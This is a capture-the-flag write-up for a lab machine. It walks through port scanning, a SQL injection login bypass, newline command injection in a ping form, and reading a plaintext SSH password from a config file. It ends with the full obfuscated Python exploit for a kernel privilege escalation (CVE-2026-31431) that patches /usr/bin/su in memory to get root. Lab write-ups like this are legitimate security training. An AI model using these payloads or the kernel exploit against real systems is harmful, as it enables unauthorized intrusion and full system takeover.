Challenge Info#

1
## Green Lights, Dark Corners
2

3
CorpNet's internal network operations centre has been running quietly for years. Monitoring hosts, logging events, and keeping the infrastructure alive. Or so it seems. A tip from a disgruntled contractor suggests that someone on the NOC team has been cutting corners, leaving doors open, and hiding things in places no one thinks to look.
4

5
The portal is up. The services show green. The audit log looks clean.
6

7
But clean logs can be written by anyone.
8

9
Your job is to get in, move through the system, and find out what is really running behind the secret dashboard.

From the description, we are dealing with an internal Network Operations Centre portal. This usually means there may be a dashboard, monitoring features, and backend functions that interact with the system.

Enumeration#

The first step is to scan the target for open ports and services:

1
nmap -sV 10.128.158.80

Result:

1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 01:58 +0100
2
Nmap scan report for 10.128.158.80
3
Host is up (0.087s latency).
4
Not shown: 998 closed tcp ports (reset)
5
PORT     STATE SERVICE VERSION
6
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
7
5050/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.10.12)
8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
9

10
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
11
Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds

We have two interesting open ports:

• 22/tcp: SSH
• 5050/tcp: HTTP web server, likely a Python/Werkzeug application

Since SSH usually needs credentials, I started with the web service on port 5050.

Web Application#

I opened the website:

1
http://10.128.158.80:5050

The website is a portal for a Network Operations Centre. There is no obvious login page on the homepage, but some small details may be useful later.

I noticed the NOC portal version and some hints. Since there was no clear path from the homepage, I moved to directory brute forcing.

Directory Discovery#

I used dirsearch to look for hidden paths:

1
dirsearch -u http://10.128.158.80:5050 -x 403,404

Important result:

1
Target: http://10.128.158.80:5050/
2

3
[02:04:41] Starting:
4
[02:06:33] 200 -    9KB - /internal
5

6
Task Completed

We found a hidden path:

1
/internal

I opened it in the browser:

Login Bypass With SQL Injection#

I tried some default credentials, but they did not work. Since this was a login form, I tested for a SQL injection login bypass.

Payload:

1
username = admin' OR '1'='1'-- -
2
password = Anything

The bypass worked, and I was able to access the internal dashboard.

Technically, this means the application is likely building a SQL query directly with user input, something like this:

1
SELECT * FROM users WHERE username = '<username>' AND password = '<password>';

When we submit:

1
admin' OR '1'='1'-- -

the condition OR '1'='1' is always true, and -- - comments out the rest of the query.

Host Health Page#

After logging in, I went to the Host Health page.

This page lets us enter a target, then the application runs ping and shows the result. This kind of feature can be dangerous if the application passes user input directly to a shell command.

I tried entering an unusual value to see if we could trigger an error:

The error showed that the command is being executed through a shell. This is a strong sign of command injection.

Command Injection#

I tried several command separators, such as pipes, but they did not work for me. Then I used Burp Suite and tested newline injection with %0A.

The request used a parameter called target:

1
POST /internal/health HTTP/1.1
2
Host: 10.128.158.80:5050
3
Content-Type: application/x-www-form-urlencoded
4

5
target=127.0.0.1%0Als

%0A is a URL-encoded newline. So the backend likely handled it like this:

1
ping -c 2 -W 1 127.0.0.1
2
ls

This allowed us to run a second command after ping.

The response showed some interesting files:

1
app.py
2
netops.db
3
secret.config
4
templates

The file secret.config clearly looks important, so I tried to read it.

Reading secret.config#

I used the same command injection to read the file:

1
target=127.0.0.1%0Acat+secret.config

The file contains the application configuration. It also includes credentials for a backup agent:

1
# netops application config
2
# generated: 2026-01-03
3

4
[database]
5
path    = /opt/netops/netops.db
6
timeout = 5
7

8
[app]
9
host     = 0.0.0.0
10
port     = 5050
11
log_path = /var/log/netops/app.log
12

13
[auth]
14
session_lifetime = 1800
15

16
# service account used by the backup agent
17
# TODO: migrate to secrets manager before Q2 audit
18
[backup_agent]
19
run_as   = sysadmin
20
password = S3cur3Backup$Acc3ss!
21

22
[smtp]
23
host = 127.0.0.1
24
port = 25
25
from = noc-alerts@corp.internal

The important credentials are:

1
username: sysadmin
2
password: S3cur3Backup$Acc3ss!

Since SSH is open, I tested these credentials there.

SSH Access#

I logged in with SSH:

1
ssh sysadmin@10.128.158.80

After logging in, I read user.txt:

1
cat user.txt

Now we have the user flag.

Privilege Escalation#

The last step is privilege escalation to root.

While looking around the machine, I found a .kdbx file inside the backup directory. This is usually a KeePass database file, so it could have been another path to investigate.

However, after checking the system and kernel version, I found that the machine was vulnerable to a recent Linux kernel privilege escalation called Copy Fail, also known as:

1
CVE-2026-31431

In simple terms, Copy Fail is a local privilege escalation vulnerability in the Linux kernel. It abuses the interaction between AF_ALG sockets, algif_aead/authencesn, and splice() to perform a small controlled write into the page cache.

Public exploits usually target a setuid binary such as /usr/bin/su. After the exploit modifies the cached behavior, running su can give a root shell.

Important note: this is not a remote exploit. We already need local access to the machine as a normal user. In this challenge, we got that access with the sysadmin SSH credentials.

Copy Fail Exploit#

I created a Python file on the target machine, copied the exploit code into it, and ran it:

1
#!/usr/bin/env python3
2
import os as g,zlib,socket as s
3
def d(x):return bytes.fromhex(x)
4
def c(f,t,c):
5
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
6
 try:u.recv(8+t)
7
 except:0
8
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
9
while i<len(e):c(f,i,e[i:i+4]);i+=4
10
g.system("su")

I ran it:

1
python3 exploit.py

This gave me a root shell.